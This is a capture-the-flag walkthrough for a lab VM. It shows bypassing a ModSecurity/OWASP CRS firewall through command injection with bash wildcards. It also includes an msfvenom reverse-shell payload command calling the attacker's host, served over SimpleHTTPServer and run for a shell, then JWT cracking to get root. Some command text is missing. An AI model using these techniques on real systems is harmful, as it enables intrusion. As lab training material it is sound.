This boot2root is an Ubuntu Based virtual machine and has been tested using VirtualBox. The network interface of the virtual machine will take it’s IP settings from DHCP. Your goal is to capture the flag on
Let’s start with a
nmap scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.27 |_http-server-header: Apache/2.4.27 (Ubuntu) |_http-title: 403 Forbidden
This should be fun.
nmap finds one open port:
wfuzz to fuzz the site and see what we are up against.
Something’s up. There’s way too many
403s. Probably some Rewrite rules and/or a Web Application Firewall (WAF) are in place.
Now, this is more like it.
ModSecurity (OWASP CRS)
wafw00f to determine if there’s a WAF in place.
Let’s not get too hung up on the WAF. Check out the HTML source code of
No js yay! But, are we looking at a Local File Inclusion (LFI) vulnerability here?
Anyway, long story short. It’s not LFI, it’s something else—remote command execution. Basically, this is an exercise in bypassing OWASP CRS.
Remote Command Execution
Don’t believe it? Look here.
What do you see? The
file parameter accepts a pipe (
|) character and the
rev command, resulting in the contents of
last.html reversed. You know what, it’s always better to see it in
Voila. This is indeed an exercise to bypass OWASP CRS to execute commands.
A tutorial on how ModSecurity and OWASP CRS work is beyond the scope of this walkthrough. Suffice to say, they work based on pattern matching hella of complex looking regular expressions.
bash enables wildcards (asterisk
* and question mark
?) for globbing in the VM, we can leverage that to bypass the OWASP CRS filters.
Here’s an example to view
Here’s an example to execute the
We can now make use of the above to give ourselves a low-privilege shell. We’ll pull a reverse shell (generated with
wget, but first we need to determine whether the OS is 32-bit or 64-bit with
Generate a reverse shell with
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.30.128 LPORT=1234 -f elf -o rev [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 68 bytes Final size of elf file: 152 bytes Saved as: rev
Host it with Python’s SimpleHTTPServer.
# python -m SimpleHTTPServer 80
Download the reverse shell like so.
Check if the download was successful.
rev executable with
Time to execute the reverse shell. Before we do that, let’s set up our
Hooray. A shell at last.
During enumeration of
bob’s account, I noticed the presence of a JSON web token (JWT) in
/home/bob/._pw_. Here’s how it looks like.
JWT has three parts in this format:
headerspecifies the algorithm and the type in JSON.
payloadspecifies the claim of the token, also in JSON.
signatureis the digital signature of the encoded header and payload.
There’s a online debugger that we can use to find out the header and payload.
Judging by the file name, I guess we need to crack the JWT to determine the secret used in HS256 to create the signature.
Searching for “jwt crack github” in Google gave plenty of results. I decided on c-jwt-cracker based on performance considerations—it’s multi-threaded and written in C.
Cracking the JWT with it, is crazy fast compared to the rest.
What’s the Flag (WTF)
It turns out that the secret is
root’s password. With that, getting the flag is trivial.
I had a fun time trying out different JWT crackers.